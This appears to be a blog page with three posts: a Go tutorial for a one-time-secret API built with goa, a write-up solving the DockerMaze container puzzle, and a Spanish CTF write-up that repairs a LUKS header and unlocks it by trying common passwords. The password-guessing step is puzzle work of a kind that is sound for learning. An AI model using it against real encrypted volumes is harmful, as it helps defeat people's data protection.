Creating your Go HTTP API easily with goa
Using the great and simple Go http package is more than enough (and what I use) to expose simple HTTP endpoints. But when you need to build a HTTP API with lots of endpoints and user/media types, you have a lot of work ahead.
I found that using goa was a good solutions in those cases, because:
- You design your API using a design language (DSL).
- Lot of things are generated for you (useful code, swagger documentation, a client for the API, etc.).
- You get a Single Source of Trust (SSoT), so for example your swagger documentation is always updated with your controllers.
But I’ll be easier to show it with a quick tutorial, so let’s go 🙂
Requirements
- Make sure that you have installed Go and that your GOPATH is correctly set.
$ go version go version go1.8.1 darwin/amd64 $ echo $GOPATH /Users/Redsadic
(I like to use my $HOME
as my GOPATH
)
- Install goa.
$ go get -v github.com/goadesign/goa
- Create your new Go project in the
$GOPATH/src
directory.
$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets $ cd $GOPATH/src/github.com/julianvilas/dummy-secrets
Now let’s start with the fun 🙂
Design
First of all, we need to define the API using the goa DSL. Let’s create a dummy API to share secrets using One-Time links (OTL). It’s not the case of a complex API but it’s easy to show how to work with goa.
We will have 2 endpoints:
- To store a new secret returning the corresponding OTL.
- To retrieve a secret using its OTL.
To define the API create a package called design:
$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets/design
And edit the file design.go
(can be named as you want, e.g. api.go
or split in different files).
package design import ( . "github.com/goadesign/goa/design" . "github.com/goadesign/goa/design/apidsl" ) var _ = API("dummy-secrets", func() { Title("Dummy secrets") Description("Share your secrets using a dummy API") Version("1.0") BasePath("/v1") Scheme("http") Host("localhost:8080") Consumes("application/json") })
By now we have added some basic information of the API. The BasePath
will affect the URLs of all the resources we are going to add later, and the Scheme
, Host
and Consumes
will affect both the client and the swagger documentation.
Now we can bootstrap the API running:
$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design app app/contexts.go app/controllers.go app/hrefs.go app/media_types.go app/user_types.go main.go tool/dummy-secrets-cli tool/dummy-secrets-cli/main.go tool/cli tool/cli/commands.go client client/client.go client/user_types.go client/media_types.go swagger swagger/swagger.json swagger/swagger.yaml $ ll total 8 drwxr-xr-x 7 Redsadic staff 238B 1 may 18:14 app/ drwxr-xr-x 5 Redsadic staff 170B 1 may 18:14 client/ drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 design/ -rw-r--r-- 1 Redsadic staff 555B 1 may 18:14 main.go drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 swagger/ drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 tool/
As can be seen, some files have been generated:
- The directory
tool
will contain a cli to interact with the API. - The
client
will contain a SDK, used by the cli, to interact with the API. - The
app
will implement all the needed low-level HTTP functions. - The
swagger
will contain the autogenerated documentation. - In the root directory, the
main.go
will start the HTTP server will all the API controllers (0 by now). That one, with thedesign
package are the only we should modify. The others from above are auto-generated and shouldn’t be edited by hand.
Let’s take a look at the main.go
:
//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design package main import ( "github.com/goadesign/goa" "github.com/goadesign/goa/middleware" ) func main() { // Create service service := goa.New("dummy-secrets") // Mount middleware service.Use(middleware.RequestID()) service.Use(middleware.LogRequest(true)) service.Use(middleware.ErrorHandler(service, true)) service.Use(middleware.Recover()) // Start service if err := service.ListenAndServe(":8080"); err != nil { service.LogError("startup", "err", err) } }
A new goa service is created, applying some useful middleware to it. And then the HTTP server is run listening at the port 8080 we defined in the design.go
.
Now we can build, install and run it typing:
$ go install ./... $ dummy-secrets dummy-secrets dummy-secrets-cli $ dummy-secrets 2017/05/01 18:33:04 [INFO] listen transport=http addr=:8080
Now we have a really dummy API, because we haven’t defined yet any resource. So let’s add the endpoints we mentioned.
Edit the design/design.go
file and add:
var _ = Resource("Secrets", func() { BasePath("/secrets") Response(Created, func() { Status(201) Headers(func() { Header("Location", String, "Resource location", func() { Pattern("/secrets/[-a-zA-Z0-9]+") }) }) }) Action("create", func() { Routing(POST("/")) Description("Store a new Secret") Payload(SecretPayload) Response(Created) Response(InternalServerError, ErrorMedia) Response(BadRequest) }) Action("show", func() { Routing(GET("/:id")) Params(func() { Param("id", UUID) }) Description("Get a Secret by its ID") Response(OK, SecretMedia) Response(NotFound) Response(InternalServerError, ErrorMedia) Response(BadRequest) }) }) var SecretPayload = Type("SecretPayload", func() { Attribute("secret", String, func() { Description("A secret to be shared with someone.") Example(`I'm a secret, share me with someone safely please.`) MinLength(1) MaxLength(255) Pattern("^[[:print:]]+") }) Required("secret") }) var SecretMedia = MediaType("application/vnd.secret+json", func() { Reference(SecretPayload) Attributes(func() { Attribute("secret") Required("secret") }) View("default", func() { Attribute("secret") }) })
We have created a new Resource
«Secrets», with path /v1/secrets
. Then we have defined two actions for it:
create
: receives a payload like'{ "secret" : "I am a dummy secret"}'
and returns anHTTP Created
response, with aLocation
header pointing to the secret.show
: retrieves a secret by its ID and returns theSecretMedia
.
As you see we have defined the attributes (with validation requirements), the responses and the data we expect from the users.
Now, let’s bootstrap again (we can delete the main.go
file first to let it be generated again).
$ rm main.go $ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design app app/contexts.go app/controllers.go app/hrefs.go app/media_types.go app/user_types.go app/test app/test/secrets_testing.go main.go secrets.go tool/cli tool/cli/commands.go client client/client.go client/secrets.go client/user_types.go client/media_types.go swagger swagger/swagger.json swagger/swagger.yaml
Now we see that some more stuff has been generated:
- a
secrets.go
file that contains the secrets controller. - a helper under
app
to create tests for the controller.
Tne new main.go
now contains this new content, that is used to mount the controller into the goa service:
// Mount "Secrets" controller c := NewSecretsController(service) app.MountSecretsController(service, c)
And the secrets.go
contains:
package main import ( "github.com/goadesign/goa" "github.com/julianvilas/dummy-secrets/app" ) // SecretsController implements the Secrets resource. type SecretsController struct { *goa.Controller } // NewSecretsController creates a Secrets controller. func NewSecretsController(service *goa.Service) *SecretsController { return &SecretsController{Controller: service.NewController("SecretsController")} } // Create runs the create action. func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error { // SecretsController_Create: start_implement // Put your logic here // SecretsController_Create: end_implement return nil } // Show runs the show action. func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error { // SecretsController_Show: start_implement // Put your logic here // SecretsController_Show: end_implement res := &app.Secret{} return ctx.OK(res) }
Now we have to implement the logic of these two controllers.
Implement
First we need to create a storage where secrets can be stored and retrieved. In order to make things easy to test or replace and well organized, we will define a Persister
interface. Let’s put it in its own package persister
.
$ mkdir persister $ touch persister/persister.go
Edit the persister.go
and add:
package persister import ( uuid "github.com/satori/go.uuid" ) type Persister interface { Store(secret string) uuid.UUID Retrieve(id uuid.UUID) (string, error) }
And add also a implementation for the Persister
interface:
type MemPersister struct { storage map[string]string mux sync.RWMutex } func NewMemPersister() *MemPersister { return &MemPersister{ storage: make(map[string]string), } } func (mp *MemPersister) Store(secret string) uuid.UUID { id := uuid.NewV4() mp.mux.Lock() defer mp.mux.Unlock() mp.storage[id.String()] = secret return id } func (mp *MemPersister) Retrieve(id uuid.UUID) (string, error) { mp.mux.RLock() defer mp.mux.RUnlock() secret, ok := mp.storage[id.String()] if !ok { return "", fmt.Errorf("error: a secret with id %v doesn't exist.", id) } delete(mp.storage, id.String()) return secret, nil }
Now we need to do two things:
- Add a
Persister
to the secrets controller, and implement the logic. - Inject the
MemPersister
in the main.
First we modify the secrets.go
:
package main import ( "github.com/goadesign/goa" "github.com/julianvilas/dummy-secrets/app" "github.com/julianvilas/dummy-secrets/persister" ) // SecretsController implements the Secrets resource. type SecretsController struct { *goa.Controller storage persister.Persister } // NewSecretsController creates a Secrets controller. func NewSecretsController(service *goa.Service, st persister.Persister) *SecretsController { return &SecretsController{ Controller: service.NewController("SecretsController"), storage: st, } } // Create runs the create action. func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error { secret := ctx.Payload.Secret id := c.storage.Store(secret) ctx.ResponseData.Header().Set("Location", app.SecretsHref(id.String())) return ctx.Created() } // Show runs the show action. func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error { id := ctx.ID secret, err := c.storage.Retrieve(id) if err != nil { goa.LogError(ctx, err.Error()) return ctx.NotFound() } res := &app.Secret{secret} if err := res.Validate(); err != nil { goa.LogError(ctx, err.Error()) return ctx.InternalServerError(goa.ErrInternal(err)) } return ctx.OK(res) }
And finally the main.go
:
//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design package main import ( "github.com/goadesign/goa" "github.com/goadesign/goa/middleware" "github.com/julianvilas/dummy-secrets/app" "github.com/julianvilas/dummy-secrets/persister" ) func main() { // Create service service := goa.New("dummy-secrets") // Mount middleware service.Use(middleware.RequestID()) service.Use(middleware.LogRequest(true)) service.Use(middleware.ErrorHandler(service, true)) service.Use(middleware.Recover()) // Mount "Secrets" controller mp := persister.NewMemPersister() c := NewSecretsController(service, mp) app.MountSecretsController(service, c) // Start service if err := service.ListenAndServe(":8080"); err != nil { service.LogError("startup", "err", err) } }
Run
Let’s test what we did. First of all, build and install again with go install ./...
.
Now use the cli to store a secret and the retrieve it:
$ dummy-secrets-cli CLI client for the dummy-secrets service Usage: dummy-secrets-cli [command] Available Commands: create Store a new Secret help Help about any command show Get a Secret by its ID Flags: --dump Dump HTTP request and response. -H, --host string API hostname (default "localhost:8080") -s, --scheme string Set the requests scheme -t, --timeout duration Set the request timeout (default 20s) Use "dummy-secrets-cli [command] --help" for more information about a command.
Start the service:
$ dummy-secrets 2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Create route=POST /v1/secrets 2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Show route=GET /v1/secrets/:id 2017/05/01 20:03:21 [INFO] listen transport=http addr=:8080
Store a secret:
$ dummy-secrets-cli create secrets --payload '{ "secret" : "a dummy secret" }' --dump 2017/05/01 20:05:30 [INFO] started id=OIBa7E5P POST=http://localhost:8080/v1/secrets 2017/05/01 20:05:30 [INFO] request headers Content-Type=application/json User-Agent=dummy-secrets-cli/1.0 2017/05/01 20:05:30 [INFO] request body={"secret":"a dummy secret"} 2017/05/01 20:05:30 [INFO] completed id=OIBa7E5P status=201 time=3.515675ms 2017/05/01 20:05:30 [INFO] response headers Date=Mon, 01 May 2017 18:05:30 GMT Content-Length=0 Content-Type=text/plain; charset=utf-8 Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7
In the last line of the log can be seen the Location
header where the ID of the secret is returned:
Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7
Now retrieve the secret using the ID:
$ dummy-secrets-cli show secrets --id 614dcf25-02e2-43dd-9809-e189abb7d8a7 --pp 2017/05/01 20:08:28 [INFO] started id=0VBkwhgo GET=http://localhost:8080/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7 2017/05/01 20:08:28 [INFO] completed id=0VBkwhgo status=200 time=4.074434ms { "secret": "a dummy secret" }
If you try to run it again, you’ll see that the secret is no longer available, as we implemented it as an OTL.
You can test it also with curl:
$ curl -vvv -X POST --data '{ "secret" : "a dummy secret" }' http://localhost:8080/v1/secrets Note: Unnecessary use of -X or --request, POST is already inferred. * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 8080 (#0) > POST /v1/secrets HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.51.0 > Accept: */* > Content-Length: 31 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 31 out of 31 bytes < HTTP/1.1 201 Created < Location: /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 < Date: Mon, 01 May 2017 18:13:25 GMT < Content-Length: 0 < Content-Type: text/plain; charset=utf-8 < * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact $ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 8080 (#0) > GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.51.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/vnd.secret+json < Date: Mon, 01 May 2017 18:14:58 GMT < Content-Length: 28 < {"secret":"a dummy secret"} * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact $ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 8080 (#0) > GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.51.0 > Accept: */* > < HTTP/1.1 404 Not Found < Date: Mon, 01 May 2017 18:15:00 GMT < Content-Length: 0 < Content-Type: text/plain; charset=utf-8 < * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact
And that was all! We got it running 🙂
You got the example in github, just:
$ go get -v github.com/julianvilas/dummy-secrets
Also you can see the swagger doc in http://swagger.goa.design/?url=julianvilas/dummy-secrets/design.
Improvements
- Create a
FilePersister
and to store in files instead of memory (or aS3Persister
, it’s easy to replace the Persister as we created it as an interface). - Create tests! You can use the
app/test
helpers goa generated for you. - Create documentation.
References
DockerMaze challenge write-up
UPDATE 23/11/2015: new info thanks to @nibble_ds, one of the challenge authors, inline the post 🙂
Last November 16-17th the Dockercon eu 2015 was held in Barcelona, and the Schibsted team published the DockerMaze challenge, a labyrinth escape game like those we used to play in the 90s. In the game you wake up alone in the middle of a labyrinth and you have to escape from it, and through a console you can use commands to interact with the environment.
In this post I will show how I had fun solving the challenge! 😀
The «help» command uncovers a set of commands that includes «look», «interact» and «escape». If you do «look front» the game says that there are some signs on the wall, and after executing «inspect wall» some clues are revealed:
Found rooms:- schibstedchallenge/dockermaze-weisse:latest- schibstedchallenge/dockermaze-stout:latest- schibstedchallenge/dockermaze-porter:latest- schibstedchallenge/dockermaze-ipa:latestFound Keys:- FollowTheWhiteRabbitFollowed path:- Input: https://challenge.schibsted.com/assets/data/ct1.bin- Output: ?More than a year and I'm still here. I'm loosing all hope. Maybe there is another key?
A quick inspection of the binary file doesn’t give much information.
Next step was to download the docker images and to inspect them:
docker pull schibstedchallenge/dockermaze-weisse:latestdocker pull schibstedchallenge/dockermaze-stout:latestdocker pull schibstedchallenge/dockermaze-porter:latestdocker pull schibstedchallenge/dockermaze-ipa:latest
Let’s play with those docker images then 🙂
WEISSE
docker inspect schibstedchallenge/dockermaze-weisse:latest
Relevant info:
"Entrypoint": [ "/usr/local/bin/start.bash" ]
"ExposedPorts": { "1954/tcp": {} }
Seems that there’s a ruby application («weisse.rb») listening at the port 1954/tcp, that is executed by the bash script «start.bash». Inside that script additional information is given:
# We use eureka + prana for service discovery.
This clue will be useful later 🙂
Looking at the «weisse.rb» file I saw that the application exposes a REST endpoint («/turing») that runs the received data in an Enigma machine. Furthermore, to set up the enigma machine it tries to get some information making DNS requests to a host with name «porter».
Here are some snippets of it 🙂
...SNIP...BFBASE = 'aaa'set :bind, '0.0.0.0' set :port, 1954
post '/turing' do data = request.body.read rotors = get_rotors('porter')plugboard = Hash[*PLUGBOARD.pack('H*').split('')] plugboard.merge!(plugboard.invert) rotors.map! do |r| Hash[[r].pack('H*').split('').zip((0...256).map{|i| i.chr})] end reflector = Hash[*REFLECTOR.pack('H*').split('')] reflector.merge!(reflector.invert) enigma(data, plugboard, rotors, reflector) end
...SNIP...def get_rotors(nameserver) rotors = []Resolv::DNS.open({:nameserver=>[nameserver]}) do |r| ctr = 0loop do begin n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i rescue Resolv::ResolvError break end
bf = BFBASE.dup found_chunks = 0 rotors[ctr] = ''while found_chunks < n begin ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"') rotors[ctr] << ck found_chunks += 1 rescue Resolv::ResolvError next ensure bf.next! end end
ctr += 1 end endrotors end...SNIP...
STOUT
docker inspect schibstedchallenge/dockermaze-stout
Relevant info:
"Entrypoint": [ "/usr/local/bin/stout.py" ]
"ExposedPorts": { "31337/tcp": {} }
But an error is raised when trying to run the docker image:
As the container didn’t start due to the error, I changed the entry point of the container to be able to snoop the «stout.py».
docker run -ti --entrypoint /bin/bash --name stout schibstedchallenge/dockermaze-stoutdocker cp stout:/usr/local/bin/stout.py .
#!/usr/bin/env pythonimport os import sys import socket import base64 from datetime import datetime from dns import resolver from flask import Flask, request, make_responseapp = Flask('stout')PORTER_HOST = os.getenv('PORTER_PORT_53_TCP_ADDR')
def xor(data, key): return "".join(map(lambda i: chr(ord(data[i]) ^ ord(key[i%len(key)])), xrange(len(data))))def transform(data): s = socket.socket() s.connect(('ipa', 6060)) s.sendall(base64.b64encode(data) + "\n") ret = s.makefile().readline().decode('base64') s.close() return ret@app.route("/gate", methods=['POST']) def gate(): t1 = datetime.now()
data = request.stream.read()
dns_resolver = resolver.Resolver() dns_resolver.nameservers = [PORTER_HOST] dns_answer = dns_resolver.query('bitwise.dockermaze', 'TXT') secret = dns_answer[0].to_text().strip('"')ret = transform(xor(data, secret))
t2 = datetime.now()resp = make_response(ret, 200) resp.headers.extend({'X-Dockermaze-Time': t2-t1})return respif __name__ == '__main__': if not PORTER_HOST: sys.exit('error: cannot get key') app.run(host='0.0.0.0', port=31337)
What can be seen is that the script is publishing a REST endpoint that XORes the received data with a secret, obtained through a DNS request to the «porter» host (you have to provide its IP by an envvar), and sends the result to the «ipa» host.
PORTER
docker inspect schibstedchallenge/dockermaze-porter
Relevant info:
"Entrypoint": [ "/usr/sbin/named" ]
"ExposedPorts": { "53/tcp": {} }
As suspected providing the info obtained from the «stout» and «weisse» containers, the porter looks like a DNS server.
Bingo! one of the entries present in the «db.dockermaze» dns zone configuration for bind contains the secret key needed by «stout.py» to work (between other relevant entries we’ll see below).
IPA
docker inspect schibstedchallenge/dockermaze-ipa
Relevant info:
"Entrypoint": [ "/usr/local/bin/start.bash" ]
"ExposedPorts": { "6060/tcp": {} }
"Env": [ "PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOLANG_VERSION=1.5.1", "GOLANG_DOWNLOAD_URL=https://golang.org/dl/go1.5.1.linux-amd64.tar.gz", "GOLANG_DOWNLOAD_SHA1=46eecd290d8803887dec718c691cc243f2175fe0", "GOPATH=/go" ]
The golang traces clearly point to @nibble_ds as one of the crime authors 😉
When trying to run the «ipa» image, an error is raised:
2015/11/22 12:20:20 error: envvar AES_KEY not defined
Let’s try to get more info of it:
As can be seen the container also makes use of Prana and Eureka (parts of the Netflix stack), and runs a «ipa» golang binary. In this case, the challenge authors made our life easier giving us the source code too ;). In any case, the bin was not stripped.
$ file ipa ipa: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped
Snooping the source code of the «ipa» application («ipa.go»), we can see that it listens to the port 6060/tcp, and decodes (base64) and decrypts the received data, using AES-256 CTR mode using a key provided by the environment variable «AES_KEY». The result is sent to the «weisse» REST endpoint and the returned data is base64 encoded and sent back to the caller.
Snippets FTW!
...SNIP...var AesKey = os.Getenv("AES_KEY")
func main() {...SNIP...ln, err := net.Listen("tcp", ":6060")
...SNIP...func handleConnection(conn net.Conn) { defer conn.Close()br := bufio.NewReader(conn) line, err := br.ReadString('\n')...SNIP...data, err := base64.StdEncoding.DecodeString(line)
...SNIP... decdata, err := decrypt(data, []byte(AesKey))
...SNIP...transdata, err := transform(decdata)
...SNIP...ret := base64.StdEncoding.EncodeToString([]byte(transdata))
fmt.Fprintln(conn, ret) }...SNIP...func transform(data []byte) (transdata []byte, err error) { c := goprana.NewClient(goprana.DefaultPort) resp, err := c.Post("weisse", "/turing", "application/octet-stream", bytes.NewReader(data)) if err != nil { return nil, err } defer resp.Body.Close()return ioutil.ReadAll(resp.Body) }
OK so, let’s put all the pieces together:
- The «stout» machine expects some data to be received by a POST HTTP method to its REST endpoint, listening at the 31337/tcp port. He gets a secret key from the «porter» machine (via DNS request) and after applying a transform to the received data, sends it base64 encoded to the «ipa» host.
- The «ipa» host receives the data sent by «stout», decodes it (base64) and decrypts it using the provided AES_KEY via envvar. Then sends the decrypted data to the «weisse» endpoint.
- The «weisse» endpoint applies an enigma decryption to the received data, getting information about the rotors through DNS requests to the «porter» DNS server, and returns the decrypted data to the «ipa».
- The «ipa» base64-encodes the response and returns it to «stout».
- The «stout» machine decodes the bas64 response and delivers it to the caller.
On the other hand we had the «ct1.bin» file and the «FollowTheRabbit» key, so we can make the below assumptions:
- The AES_KEY is «FollowTheRabbit».
- The «ct1.bin» is the encrypted data we want to decrypt using the container chain.
So we need to link the containers in order to let them talk to each others, taking into account that «weisse» and «ipa» use Prana & Eureka to communicate.
Note of the author: Juan told me that would be great to put a diagram in this place to improve the explanation, but… I’ll do it only for a beer. If you want a diagram just make me happy and bring me one! ;-P
UPDATE 23/11/2015: nibble provided this awesome diagram 🙂
This is what I did:
docker pull netflixoss/eureka:1.1.147 docker run -d --name eureka netflixoss/eureka:1.1.147 docker run -d -P --name porter schibstedchallenge/dockermaze-porter docker run -d -P --name weisse --link porter:porter --link eureka:eureka schibstedchallenge/dockermaze-weisse docker run -d -P -e "AES_KEY=FollowTheWhiteRabbit" --name ipa --link weisse:weisse --link eureka:eureka schibstedchallenge/dockermaze-ipa docker run -d -p 31337:31337 --name stout --link ipa:ipa --link porter:porter schibstedchallenge/dockermaze-stout
And then I waited some minutes before sending the requests to the «stout» endpoint (due to the advice found in the «start.bash» file):
curl -v -X POST --data-binary @ct1.bin http://localhost:31337/gate --header "Content-Type:application/octet-stream"
OK, I was on the right path but unfortunately I was not attending the Dockercon :(. Fortunately after the con @nibble_ds sent me the key they were giving in the Schibsted booth (thanks sir!).
When scanned the QR code a snippet of ruby code appeared:
puts 'z4LufsdfTf{bNsfldpE'.bytes.map { |ch| (ch.ord - 1).chr }.reverse.join
After executing it you get the new key! («DockerMazeSecretK3y»).
We should be close, but when I tried again the same «curl» command but modifying the AES_KEY, the «ct1.bin» didn’t work as the encrypted message. Where could we get a new message?
I remembered the DockerMaze «escape» command that receives a parameter «ip». So I did a DNAT from my public IP to the 31337/tcp port of the «stout» (PublicIP:31337 -> PrivateIP:31337), and executed:
escape x.x.x.x
Where «x.x.x.x» was my public IP, and I got:
Trying to escape... Wait... Hummm… Everything seems to be okay but you must be faster… 20.040787 seconds is too much
So we need to make something to be faster. After inspecting what part of the chain triggered more, the «weisse» component stood up as highly inefficient. The problem was in this loop when getting the rotors:
...SNIP... BFBASE = 'aaa' ...SNIP... def get_rotors(nameserver) rotors = []
Resolv::DNS.open({:nameserver=>[nameserver]}) do |r| ctr = 0loop do begin n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i rescue Resolv::ResolvError break endbf = BFBASE.dup found_chunks = 0 rotors[ctr] = ''
while found_chunks < n begin ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"') rotors[ctr] << ck found_chunks += 1 rescue Resolv::ResolvError next ensure bf.next! end endctr += 1 end endrotors end
Most of the requested DNS entries were like these:
walzen-0 IN TXT "4" walzen-0-aaa IN TXT "7b57e0a216b65a40534e4c8bcc787a8e5b3722657dcfb0d199950688ef0c718cbf1094bd0ff7d687c69cfba09d42caaa13d4cdb24f8f892877b4a91f596b2615" walzen-0-aab IN TXT "6f48936c561d66625e31702143c2978ddaf19f60dcfd340e3b3c2b725404a820613ad369ae0a30a5b76de14d08d041337c02ceacbed5e7c3deee67ad7f63f529" walzen-0-aac IN TXT "f3523e2746b1e524a48451ff1e5c92f6d796b9b89036c43d8ae8f486c7c1bc2ea601499e6eab81e383c0392c2d0514f0e9324af985507efa116a743523cb00fe" walzen-0-aad IN TXT "1a68df6455c8ec914476fcc5808279f298ed3f5dbba7a3b54b250309d92f17a112b307db75eb1c2af8dd38e473d819afd2e2ea1be6c90b589aba5f470d18459b" walzen-1 IN TXT "4" walzen-1-aaa IN TXT "0ec8580062742e72c3d96fc76d4f21bacdf03887256bb7c9d42a27c5cb43e216405163e7a3427a071033ea3944899f88d63f83e41d91ad1a19b39c455c041294" walzen-1-aab IN TXT "ac8ccfafe184de033afdf13ddcdfd27b8b86989e82d1ffbca99290fbc4a115c2eba05323be80060a30eeaed3689385148aa56e37a6bb4a1bef0db5bd34dbf846" walzen-1-aac IN TXT "eddd05480c7df9c6d0b69b591eb48f7f20175022f4577170ab7ea78e77b04c5d4e029dbf47fa3e8d49e3d83b4b816999ecb178f561081c292f2b6097544136f7" walzen-1-aad IN TXT "18a46635e9b9f6d756753cf35f65e0aac1266c7c5ba25231e5e60bce0f2cb82432da675a09132d5e9acafc76a8110155b2c04d1ff2d5fe73cce8966a79286495"
But some of them were not consecutive, leading to a lot of unnecessary failed DNS requests. For example:
walzen-9 IN TXT "4" walzen-9-aaa IN TXT "3a8a13373496029d73b8d44e23147e947f45d5fd8640073f2ff7953858bb5ce076cfbef68860d8986a7a8fc8ad26d9d3f8fc9fee0e56ed65b14cb0fe84acc724" walzen-9-aab IN TXT "299cda0f3001505a3caf0b99e2c380f3b532161aa861b2f00675dfa4d08da0ea550dcc53f581692a5bd6d119744272fac0b7db8c6210ffbc8bc9a166bacd9305" walzen-9-aac IN TXT "a76f638943aae11d925d680948e4672dd252ab54495fc2caf27cf45133b65e7d6ba6820a1225398e214b274dbd00596efbefe6229e18473b20c56de3c135153d" walzen-9-rzd IN TXT "644fe5f18583ebf9c62e1e1f7bc4ecdd44b4ce70a5086c4ad7579a17a9413e3171bfde11790c877704a2a3e8b32891369bb946e9ae2b2c1bcbe797781c90dc03"
So what I did is to edit the «db.dockermaze» configuration file to make them all consecutive and updated the docker image.
docker cp ./modified-db.dockermaze porter:/etc/bind/db.dockermaze docker commit porter redsadic/dockermaze-porter:v2 docker run -d -P --name porter redsadic/dockermaze-porter:v2
And when I ran the «escape x.x.x.x» command again… Voilà!
Trying to escape... Wait... You put the key in the lock and... the door opens! Congratulations! You are out of the labyrinth! Send an email with the following info to big.ideas+DockerMaze@schibsted.com: - IP used to escape - The token 'XXXXXXXXXXXXXXXXXX' - Short explanation about how you escaped
Wohoooo! challenge solved! 😀
I would want to thank the Schibsted team because I really had a lot of fun with the challenge! Thank you guys! 😀
And that’s all folks!
UPDATE 23/11/2015: some easter eggs from the challenge authors :
- The hostnames are different kind of beers
- The STOUT endpoint is /gate because it implements a XOR (a logic gate)
- The IPA exposed port is :6060 or GOGO 😀
- The WEISSE (enigma) endpoint port is 1954, the year Alan Turing died
- Also the endpoint /turing is in honor of him, due to his contribution breaking enigma
- The DNS records where the rotors are stored are called «walzen-x-yyy». Walzen means rotor in german
- And…
- STOUT is the kind of beer that nibble likes less, this is why he did it in python (as a good python hater he is)
- IPA is one of his favorites beers, and he did it in go 😉
- WEISSE is other kind of beer he loves, for this reason it is ruby!
PD: looks like the https://challenge.schibsted.com site is down now. Too late if you want to play the challenge now ;(
UPDATE 23/11/2015:
PD: the challenge is now available at http://challenge.schibsted.com. If you wanna play, go for it!!!
Solución HIDDENtation – Final CTF NCN 2014
Buenas,
hoy hemos tenido el placer de participar en la final del CTF de las No cON Name por segundo año consecutivo y, antes de explicaros nuestra solución a uno de los retos (que no conseguimos terminar a tiempo ;( ), nos gustaría dar las gracias a la organización; ya que se han currado un montón las pruebas (tanto las de la final como las de las quals) con el único objetivo de hacernos pasar un buen rato. Gracias de verdad, porque ha sido muy divertido! 🙂
El reto que vamos a explicaros se llama HIDDENtation, y el texto que describía el reto decía tal que así: «Dig deep into the file and find the flag.». Este texto venía acompañado por un archivo, que es en el que se centra el juego.
En un primer vistazo al archivo vemos algo tal que así:
Por lo que parece que se trate de una imagen de un volumen cifrado con LUKS (estándar de cifrado de discos duros en Linux). El tema es que el comando «file» no ha identificado el fichero como tal, así que procedemos a analizar si la estructura del archivo es correcta. Para ello utilizamos una plantilla para el «010 Editor» para analizar el format de volúmenes LUKS.
Al ejecutar la plantilla vemos que nos da un error que dice que el archivo no es LUKS, ya que no se corresponde su firma. Así que pasamos a mirarnos el estándar de LUKS para ver cual es su firma, donde nos dice que la cabecera de la partición empieza con el siguiente magic: «{’L’,’U’,’K’,’S’,0xBA,0xBE}», y en nuestro caso en vez de una ‘S’ había una ‘s’ minúscula. Una vez modificada esa letra, volvemos a aplicar el template y vemos como ahora sí lo reconoce:
curioseando un poco el fichero vemos que en la sección de padding de caracteres aparece el siguiente texto: «Try … most common passwd in …», donde los «…» son dos números hexadecimales: 0x19 (25) y 0x07dd (2013). Así que nos vamos a preguntarle a Google y encontramos esto.
Utilizando el siguiente comando
cryptsetup luksOpen hiddentation volume1
intentamos descifrar el volumen con los 25 passwords sin éxito :(. Así que parece que tocaba trabajar más en los headers.
Después de pelearnos con el estándar vemos que nos faltaría arreglar las secciones de los key-slots en el header.
En este caso vemos :
- que los ocho que hay están desactivados («00 00 DE AD»), cuando tendría que haber al menos uno activo (en el que supone que está la clave con la que se cifran los datos protegida con la passphrase correspondiente a uno de los 25 passwords más comunes en 2013),
- que los campos donde se indican los offset de los KeyMaterials no parecen estar correctamente calculados. Para estar bien calculados deberían cumplir la fórmula round_up(key_length * stripes / sector_size); en este caso: (32*4000) /512 = 250, por lo que tomamos 256 (0x100).
Así que ya que parece que el key-slot8 es «el bueno», pues marcamos este slot como ENABLED (0x00AC71F3) y retocamos los 8 offsets, quedando algo tal que así:
Ahora nos disponemos a probar otra vez los 25 passwords y tenemos éxito con el número 18: «shadow».
Así que ahora vemos qué pinta tiene el disco:
Y vemos que la tabla de particiones es GPT, y que fdisk no soporta GPT. Procedemos a utilizar parted:
